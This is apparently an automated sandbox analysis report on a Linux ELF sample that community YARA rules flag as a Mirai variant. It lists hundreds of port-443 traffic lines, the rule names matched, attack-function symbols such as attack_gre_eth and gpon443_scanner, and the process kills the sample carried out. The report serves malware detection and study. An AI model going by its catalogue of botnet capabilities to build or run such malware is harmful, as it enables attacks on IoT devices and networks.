Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48414
Source: unknown	Network traffic detected: HTTP traffic on port 41668 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52514
Source: unknown	Network traffic detected: HTTP traffic on port 37722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34330 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53840
Source: unknown	Network traffic detected: HTTP traffic on port 41914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39540
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47162
Source: unknown	Network traffic detected: HTTP traffic on port 35782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43608 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39542
Source: unknown	Network traffic detected: HTTP traffic on port 50632 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39544
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52510
Source: unknown	Network traffic detected: HTTP traffic on port 38016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59156
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60130
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52528
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52526
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48486
Source: unknown	Network traffic detected: HTTP traffic on port 38630 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48484
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47150
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52524
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40516
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41848
Source: unknown	Network traffic detected: HTTP traffic on port 45956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56356 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59162
Source: unknown	Network traffic detected: HTTP traffic on port 35770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47144
Source: unknown	Network traffic detected: HTTP traffic on port 47548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48472
Source: unknown	Network traffic detected: HTTP traffic on port 40560 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40596 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47140
Source: unknown	Network traffic detected: HTTP traffic on port 41582 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36498
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52532
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37304 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41836
Source: unknown	Network traffic detected: HTTP traffic on port 38768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48468
Source: unknown	Network traffic detected: HTTP traffic on port 35402 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48466
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52548
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48464
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36484
Source: unknown	Network traffic detected: HTTP traffic on port 43162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39514
Source: unknown	Network traffic detected: HTTP traffic on port 43420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48458
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38250
Source: unknown	Network traffic detected: HTTP traffic on port 59544 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39586
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50772
Source: unknown	Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41214 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44928
Source: unknown	Network traffic detected: HTTP traffic on port 37864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56086
Source: unknown	Network traffic detected: HTTP traffic on port 42666 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57302 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40560
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53812
Source: unknown	Network traffic detected: HTTP traffic on port 56638 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39576
Source: unknown	Network traffic detected: HTTP traffic on port 42434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39578
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52580 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59126
Source: unknown	Network traffic detected: HTTP traffic on port 51498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59122
Source: unknown	Network traffic detected: HTTP traffic on port 41758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56092
Source: unknown	Network traffic detected: HTTP traffic on port 51790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39560
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39562
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38234
Source: unknown	Network traffic detected: HTTP traffic on port 54700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60114
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40548
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44902
Source: unknown	Network traffic detected: HTTP traffic on port 45712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40540
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32918
Source: unknown	Network traffic detected: HTTP traffic on port 55452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32910
Source: unknown	Network traffic detected: HTTP traffic on port 33704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39554
Source: unknown	Network traffic detected: HTTP traffic on port 46476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52500
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38218
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40538
Source: unknown	Network traffic detected: HTTP traffic on port 33016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50514 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38642 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35516 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38174
Source: unknown	Network traffic detected: HTTP traffic on port 43600 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52476
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55504
Source: unknown	Network traffic detected: HTTP traffic on port 58426 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47642 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43516
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43512
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40484
Source: unknown	Network traffic detected: HTTP traffic on port 52444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 32954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52486
Source: unknown	Network traffic detected: HTTP traffic on port 38122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56840
Source: unknown	Network traffic detected: HTTP traffic on port 37530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51158
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44830
Source: unknown	Network traffic detected: HTTP traffic on port 57846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56856
Source: unknown	Network traffic detected: HTTP traffic on port 56498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39488
Source: unknown	Network traffic detected: HTTP traffic on port 39116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53426 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58402 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40462
Source: unknown	Network traffic detected: HTTP traffic on port 36296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37278 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39474
Source: unknown	Network traffic detected: HTTP traffic on port 33982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47092
Source: unknown	Network traffic detected: HTTP traffic on port 42344 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37542 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44814
Source: unknown	Network traffic detected: HTTP traffic on port 57158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39586 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41784
Source: unknown	Network traffic detected: HTTP traffic on port 34240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52438
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45634 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53762
Source: unknown	Network traffic detected: HTTP traffic on port 46604 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35930
Source: unknown	Network traffic detected: HTTP traffic on port 39370 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52434
Source: unknown	Network traffic detected: HTTP traffic on port 51942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60056
Source: unknown	Network traffic detected: HTTP traffic on port 46902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47914
Source: unknown	Network traffic detected: HTTP traffic on port 37188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42226
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51118
Source: unknown	Network traffic detected: HTTP traffic on port 43760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52444
Source: unknown	Network traffic detected: HTTP traffic on port 53014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60066
Source: unknown	Network traffic detected: HTTP traffic on port 46108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42214
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42210
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43542
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44872
Source: unknown	Network traffic detected: HTTP traffic on port 57240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38190
Source: unknown	Network traffic detected: HTTP traffic on port 33900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35914
Source: unknown	Network traffic detected: HTTP traffic on port 51864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32882
Source: unknown	Network traffic detected: HTTP traffic on port 56840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59096
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44862
Source: unknown	Network traffic detected: HTTP traffic on port 38970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58414 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38180
Source: unknown	Network traffic detected: HTTP traffic on port 54478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56826
Source: unknown	Network traffic detected: HTTP traffic on port 40310 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35906
Source: unknown	Network traffic detected: HTTP traffic on port 39562 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38188
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56820
Source: unknown	Network traffic detected: HTTP traffic on port 60098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60088
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40494
Source: unknown	Network traffic detected: HTTP traffic on port 42948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47960
Source: unknown	Network traffic detected: HTTP traffic on port 39416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54256
Source: unknown	Network traffic detected: HTTP traffic on port 45040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34646
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55586
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34644
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34642
Source: unknown	Network traffic detected: HTTP traffic on port 50706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35982
Source: unknown	Network traffic detected: HTTP traffic on port 48506 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46626
Source: unknown	Network traffic detected: HTTP traffic on port 49082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43598
Source: unknown	Network traffic detected: HTTP traffic on port 55272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42268
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47950
Source: unknown	Network traffic detected: HTTP traffic on port 60492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33308
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43590
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54268
Source: unknown	Network traffic detected: HTTP traffic on port 50448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55598
Source: unknown	Network traffic detected: HTTP traffic on port 51540 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58630
Source: unknown	Network traffic detected: HTTP traffic on port 52510 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42254
Source: unknown	Network traffic detected: HTTP traffic on port 48472 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47944
Source: unknown	Network traffic detected: HTTP traffic on port 36018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43588
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42256
Source: unknown	Network traffic detected: HTTP traffic on port 42462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35392 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43584
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57302
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54280
Source: unknown	Network traffic detected: HTTP traffic on port 54950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60956
Source: unknown	Network traffic detected: HTTP traffic on port 33416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46604
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42244
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42246
Source: unknown	Network traffic detected: HTTP traffic on port 51552 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34618
Source: unknown	Network traffic detected: HTTP traffic on port 50960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51458 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34616
Source: unknown	Network traffic detected: HTTP traffic on port 36718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57316
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58652
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54292
Source: unknown	Network traffic detected: HTTP traffic on port 36650 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47924
Source: unknown	Network traffic detected: HTTP traffic on port 53950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47248 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45342
Source: unknown	Network traffic detected: HTTP traffic on port 40170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33358
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33356
Source: unknown	Network traffic detected: HTTP traffic on port 44658 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45332
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54224
Source: unknown	Network traffic detected: HTTP traffic on port 35708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40358 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34676
Source: unknown	Network traffic detected: HTTP traffic on port 53574 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54232
Source: unknown	Network traffic detected: HTTP traffic on port 35126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47986
Source: unknown	Network traffic detected: HTTP traffic on port 49364 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56282 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55572
Source: unknown	Network traffic detected: HTTP traffic on port 45052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55570
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45318
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45312
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45314
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47972
Source: unknown	Network traffic detected: HTTP traffic on port 45916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53586 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52564 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42282
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33326
Source: unknown	Network traffic detected: HTTP traffic on port 46938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55584
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55580
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46636
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47968
Source: unknown	Network traffic detected: HTTP traffic on port 40088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44176

Source: unknown

HTTPS traffic detected: 34.243.160.129:443 -> 192.168.2.13:50528 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: VkiGKeyI3L.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_122ff2e6 Author: unknown
Source: VkiGKeyI3L.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_99d78950 Author: unknown
Source: VkiGKeyI3L.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_fa48b592 Author: unknown
Source: VkiGKeyI3L.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_aa39fb02 Author: unknown
Source: VkiGKeyI3L.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: VkiGKeyI3L.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5474.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_122ff2e6 Author: unknown
Source: 5474.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 Author: unknown
Source: 5474.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa48b592 Author: unknown
Source: 5474.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_aa39fb02 Author: unknown
Source: 5474.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 5474.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5476.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_122ff2e6 Author: unknown
Source: 5476.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 Author: unknown
Source: 5476.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa48b592 Author: unknown
Source: 5476.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_aa39fb02 Author: unknown
Source: 5476.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 5476.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth

Contains symbols with names commonly found in malware

Source: ELF static info symbol of initial sample	Name: attack.c
Source: ELF static info symbol of initial sample	Name: attack_app.c
Source: ELF static info symbol of initial sample	Name: attack_app_http
Source: ELF static info symbol of initial sample	Name: attack_get_opt_int
Source: ELF static info symbol of initial sample	Name: attack_get_opt_ip
Source: ELF static info symbol of initial sample	Name: attack_get_opt_str
Source: ELF static info symbol of initial sample	Name: attack_gre.c
Source: ELF static info symbol of initial sample	Name: attack_gre_eth
Source: ELF static info symbol of initial sample	Name: attack_gre_ip
Source: ELF static info symbol of initial sample	Name: attack_init

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 3104, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 3161, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 3162, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 3163, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 3164, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 3165, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 3170, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 3182, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 3212, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 5514, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 5515, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 5516, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 5517, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 5518, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 5519, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 5541, result: successful	Jump to behavior
Source: /tmp/VkiGKeyI3L.elf (PID: 5482)	SIGKILL sent: pid: 5551, result: successful	Jump to behavior

Source: VkiGKeyI3L.elf	ELF static info symbol of initial sample: gpon443_scanner
Source: VkiGKeyI3L.elf	ELF static info symbol of initial sample: gpon443_scanner_pid
